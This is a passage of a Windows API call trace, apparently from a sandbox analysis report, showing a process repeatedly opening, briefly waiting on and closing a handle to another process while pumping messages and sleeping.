(dwMilliseconds=0x1) [0267.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.499] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.514] CloseHandle (hObject=0xbe4) returned 1 [0267.515] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.515] Sleep (dwMilliseconds=0x1) [0267.530] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.530] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.546] CloseHandle (hObject=0xbe4) returned 1 [0267.546] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.546] Sleep (dwMilliseconds=0x1) [0267.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xbe4 [0267.561] WaitForSingleObject (hHandle=0xbe4, dwMilliseconds=0xa) returned 0x102 [0267.585] CloseHandle (hObject=0xbe4) returned 1 [0267.585] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.585] Sleep (dwMilliseconds=0x1) [0267.595] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc0c [0267.595] WaitForSingleObject (hHandle=0xc0c, dwMilliseconds=0xa) returned 0x102 [0267.610] CloseHandle (hObject=0xc0c) returned 1 [0267.610] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.610] Sleep (dwMilliseconds=0x1) [0267.629] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc0c [0267.629] WaitForSingleObject (hHandle=0xc0c, dwMilliseconds=0xa) returned 0x102 [0267.639] CloseHandle (hObject=0xc0c) returned 1 [0267.639] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.639] Sleep (dwMilliseconds=0x1) [0267.655] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc0c [0267.655] WaitForSingleObject (hHandle=0xc0c, dwMilliseconds=0xa) returned 0x102 [0267.671] CloseHandle (hObject=0xc0c) returned 1 [0267.671] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.671] Sleep (dwMilliseconds=0x1) [0267.686] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc1c [0267.686] WaitForSingleObject (hHandle=0xc1c, dwMilliseconds=0xa) returned 0x102 [0267.702] CloseHandle (hObject=0xc1c) returned 1 [0267.702] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.702] Sleep (dwMilliseconds=0x1) [0267.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc24 [0267.718] WaitForSingleObject (hHandle=0xc24, dwMilliseconds=0xa) returned 0x102 [0267.733] CloseHandle (hObject=0xc24) returned 1 [0267.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.733] Sleep (dwMilliseconds=0x1) [0267.821] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc24 [0267.821] WaitForSingleObject (hHandle=0xc24, dwMilliseconds=0xa) returned 0x102 [0267.827] CloseHandle (hObject=0xc24) returned 1 [0267.827] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.827] Sleep (dwMilliseconds=0x1) [0267.842] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc3c [0267.843] WaitForSingleObject (hHandle=0xc3c, dwMilliseconds=0xa) returned 0x102 [0267.858] CloseHandle (hObject=0xc3c) returned 1 [0267.858] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.858] Sleep (dwMilliseconds=0x1) [0267.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc48 [0267.874] WaitForSingleObject (hHandle=0xc48, dwMilliseconds=0xa) returned 0x102 [0267.889] CloseHandle (hObject=0xc48) returned 1 [0267.889] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.889] Sleep (dwMilliseconds=0x1) [0267.906] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc48 [0267.906] WaitForSingleObject (hHandle=0xc48, dwMilliseconds=0xa) returned 0x102 [0267.921] CloseHandle (hObject=0xc48) returned 1 [0267.921] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.921] Sleep (dwMilliseconds=0x1) [0267.943] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc48 [0267.943] WaitForSingleObject (hHandle=0xc48, dwMilliseconds=0xa) returned 0x102 [0267.952] CloseHandle (hObject=0xc48) returned 1 [0267.953] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.953] Sleep (dwMilliseconds=0x1) [0267.967] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc48 [0267.967] WaitForSingleObject (hHandle=0xc48, dwMilliseconds=0xa) returned 0x102 [0267.983] CloseHandle (hObject=0xc48) returned 1 [0267.983] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0267.983] Sleep (dwMilliseconds=0x1) [0267.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc48 [0267.999] WaitForSingleObject (hHandle=0xc48, dwMilliseconds=0xa) returned 0x102 [0268.015] CloseHandle (hObject=0xc48) returned 1 [0268.015] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.015] Sleep (dwMilliseconds=0x1) [0268.030] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc6c [0268.030] WaitForSingleObject (hHandle=0xc6c, dwMilliseconds=0xa) returned 0x102 [0268.046] CloseHandle (hObject=0xc6c) returned 1 [0268.046] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.046] Sleep (dwMilliseconds=0x1) [0268.062] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc70 [0268.062] WaitForSingleObject (hHandle=0xc70, dwMilliseconds=0xa) returned 0x102 [0268.084] CloseHandle (hObject=0xc70) returned 1 [0268.084] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.084] Sleep (dwMilliseconds=0x1) [0268.093] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc80 [0268.093] WaitForSingleObject (hHandle=0xc80, dwMilliseconds=0xa) returned 0x102 [0268.108] CloseHandle (hObject=0xc80) returned 1 [0268.108] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.108] Sleep (dwMilliseconds=0x1) [0268.128] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc88 [0268.128] WaitForSingleObject (hHandle=0xc88, dwMilliseconds=0xa) returned 0x102 [0268.139] CloseHandle (hObject=0xc88) returned 1 [0268.139] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.140] Sleep (dwMilliseconds=0x1) [0268.156] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc8c [0268.156] WaitForSingleObject (hHandle=0xc8c, dwMilliseconds=0xa) returned 0x102 [0268.171] CloseHandle (hObject=0xc8c) returned 1 [0268.171] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.171] Sleep (dwMilliseconds=0x1) [0268.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xc8c [0268.186] WaitForSingleObject (hHandle=0xc8c, dwMilliseconds=0xa) returned 0x102 [0268.203] CloseHandle (hObject=0xc8c) returned 1 [0268.203] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.206] Sleep (dwMilliseconds=0x1) [0268.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xca4 [0268.219] WaitForSingleObject (hHandle=0xca4, dwMilliseconds=0xa) returned 0x102 [0268.235] CloseHandle (hObject=0xca4) returned 1 [0268.235] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.235] Sleep (dwMilliseconds=0x1) [0268.249] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xca4 [0268.249] WaitForSingleObject (hHandle=0xca4, dwMilliseconds=0xa) returned 0x102 [0268.268] CloseHandle (hObject=0xca4) returned 1 [0268.268] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.268] Sleep (dwMilliseconds=0x1) [0268.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.280] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.296] CloseHandle (hObject=0xcb4) returned 1 [0268.296] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.296] Sleep (dwMilliseconds=0x1) [0268.311] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.311] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.327] CloseHandle (hObject=0xcb4) returned 1 [0268.327] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.327] Sleep (dwMilliseconds=0x1) [0268.343] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.343] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.361] CloseHandle (hObject=0xcb4) returned 1 [0268.361] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.361] Sleep (dwMilliseconds=0x1) [0268.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.374] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.389] CloseHandle (hObject=0xcb4) returned 1 [0268.389] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.389] Sleep (dwMilliseconds=0x1) [0268.407] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.407] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.421] CloseHandle (hObject=0xcb4) returned 1 [0268.421] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.421] Sleep (dwMilliseconds=0x1) [0268.436] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.436] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.452] CloseHandle (hObject=0xcb4) returned 1 [0268.452] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.452] Sleep (dwMilliseconds=0x1) [0268.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.468] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.483] CloseHandle (hObject=0xcb4) returned 1 [0268.483] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.483] Sleep (dwMilliseconds=0x1) [0268.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.499] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.514] CloseHandle (hObject=0xcb4) returned 1 [0268.514] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.514] Sleep (dwMilliseconds=0x1) [0268.530] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcb4 [0268.530] WaitForSingleObject (hHandle=0xcb4, dwMilliseconds=0xa) returned 0x102 [0268.554] CloseHandle (hObject=0xcb4) returned 1 [0268.554] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.554] Sleep (dwMilliseconds=0x1) [0268.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc0 [0268.561] WaitForSingleObject (hHandle=0xcc0, dwMilliseconds=0xa) returned 0x102 [0268.577] CloseHandle (hObject=0xcc0) returned 1 [0268.577] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.577] Sleep (dwMilliseconds=0x1) [0268.592] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc8 [0268.593] WaitForSingleObject (hHandle=0xcc8, dwMilliseconds=0xa) returned 0x102 [0268.610] CloseHandle (hObject=0xcc8) returned 1 [0268.610] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.610] Sleep (dwMilliseconds=0x1) [0268.624] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc8 [0268.624] WaitForSingleObject (hHandle=0xcc8, dwMilliseconds=0xa) returned 0x102 [0268.639] CloseHandle (hObject=0xcc8) returned 1 [0268.639] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.639] Sleep (dwMilliseconds=0x1) [0268.655] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc8 [0268.655] WaitForSingleObject (hHandle=0xcc8, dwMilliseconds=0xa) returned 0x102 [0268.671] CloseHandle (hObject=0xcc8) returned 1 [0268.671] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.671] Sleep (dwMilliseconds=0x1) [0268.687] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc8 [0268.687] WaitForSingleObject (hHandle=0xcc8, dwMilliseconds=0xa) returned 0x102 [0268.705] CloseHandle (hObject=0xcc8) returned 1 [0268.705] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.705] Sleep (dwMilliseconds=0x1) [0268.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcc8 [0268.718] WaitForSingleObject (hHandle=0xcc8, dwMilliseconds=0xa) returned 0x102 [0268.733] CloseHandle (hObject=0xcc8) returned 1 [0268.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.733] Sleep (dwMilliseconds=0x1) [0268.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcdc [0268.778] WaitForSingleObject (hHandle=0xcdc, dwMilliseconds=0xa) returned 0x102 [0268.780] CloseHandle (hObject=0xcdc) returned 1 [0268.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.780] Sleep (dwMilliseconds=0x1) [0268.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xcf4 [0268.796] WaitForSingleObject (hHandle=0xcf4, dwMilliseconds=0xa) returned 0x102 [0268.811] CloseHandle (hObject=0xcf4) returned 1 [0268.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.811] Sleep (dwMilliseconds=0x1) [0268.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd00 [0268.827] WaitForSingleObject (hHandle=0xd00, dwMilliseconds=0xa) returned 0x102 [0268.843] CloseHandle (hObject=0xd00) returned 1 [0268.843] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.843] Sleep (dwMilliseconds=0x1) [0268.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd00 [0268.858] WaitForSingleObject (hHandle=0xd00, dwMilliseconds=0xa) returned 0x102 [0268.876] CloseHandle (hObject=0xd00) returned 1 [0268.876] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.876] Sleep (dwMilliseconds=0x1) [0268.891] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd10 [0268.891] WaitForSingleObject (hHandle=0xd10, dwMilliseconds=0xa) returned 0x102 [0268.905] CloseHandle (hObject=0xd10) returned 1 [0268.905] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.905] Sleep (dwMilliseconds=0x1) [0268.921] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd10 [0268.921] WaitForSingleObject (hHandle=0xd10, dwMilliseconds=0xa) returned 0x102 [0268.942] CloseHandle (hObject=0xd10) returned 1 [0268.942] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.942] Sleep (dwMilliseconds=0x1) [0268.953] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd2c [0268.953] WaitForSingleObject (hHandle=0xd2c, dwMilliseconds=0xa) returned 0x102 [0268.968] CloseHandle (hObject=0xd2c) returned 1 [0268.968] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.968] Sleep (dwMilliseconds=0x1) [0268.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd48 [0268.984] WaitForSingleObject (hHandle=0xd48, dwMilliseconds=0xa) returned 0x102 [0268.999] CloseHandle (hObject=0xd48) returned 1 [0268.999] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0268.999] Sleep (dwMilliseconds=0x1) [0269.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd48 [0269.014] WaitForSingleObject (hHandle=0xd48, dwMilliseconds=0xa) returned 0x102 [0269.030] CloseHandle (hObject=0xd48) returned 1 [0269.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.030] Sleep (dwMilliseconds=0x1) [0269.046] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd48 [0269.046] WaitForSingleObject (hHandle=0xd48, dwMilliseconds=0xa) returned 0x102 [0269.061] CloseHandle (hObject=0xd48) returned 1 [0269.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.061] Sleep (dwMilliseconds=0x1) [0269.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd5c [0269.078] WaitForSingleObject (hHandle=0xd5c, dwMilliseconds=0xa) returned 0x102 [0269.093] CloseHandle (hObject=0xd5c) returned 1 [0269.093] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.093] Sleep (dwMilliseconds=0x1) [0269.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd5c [0269.108] WaitForSingleObject (hHandle=0xd5c, dwMilliseconds=0xa) returned 0x102 [0269.125] CloseHandle (hObject=0xd5c) returned 1 [0269.125] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.125] Sleep (dwMilliseconds=0x1) [0269.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd80 [0269.139] WaitForSingleObject (hHandle=0xd80, dwMilliseconds=0xa) returned 0x102 [0269.155] CloseHandle (hObject=0xd80) returned 1 [0269.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.155] Sleep (dwMilliseconds=0x1) [0269.172] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.172] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.187] CloseHandle (hObject=0xd98) returned 1 [0269.187] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.187] Sleep (dwMilliseconds=0x1) [0269.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.202] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.218] CloseHandle (hObject=0xd98) returned 1 [0269.218] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.218] Sleep (dwMilliseconds=0x1) [0269.234] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.234] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.253] CloseHandle (hObject=0xd98) returned 1 [0269.253] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.253] Sleep (dwMilliseconds=0x1) [0269.265] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.265] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.280] CloseHandle (hObject=0xd98) returned 1 [0269.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.280] Sleep (dwMilliseconds=0x1) [0269.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.296] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.311] CloseHandle (hObject=0xd98) returned 1 [0269.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.311] Sleep (dwMilliseconds=0x1) [0269.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xd98 [0269.330] WaitForSingleObject (hHandle=0xd98, dwMilliseconds=0xa) returned 0x102 [0269.345] CloseHandle (hObject=0xd98) returned 1 [0269.345] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.345] Sleep (dwMilliseconds=0x1) [0269.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xde8 [0269.358] WaitForSingleObject (hHandle=0xde8, dwMilliseconds=0xa) returned 0x102 [0269.377] CloseHandle (hObject=0xde8) returned 1 [0269.377] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.377] Sleep (dwMilliseconds=0x1) [0269.379] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 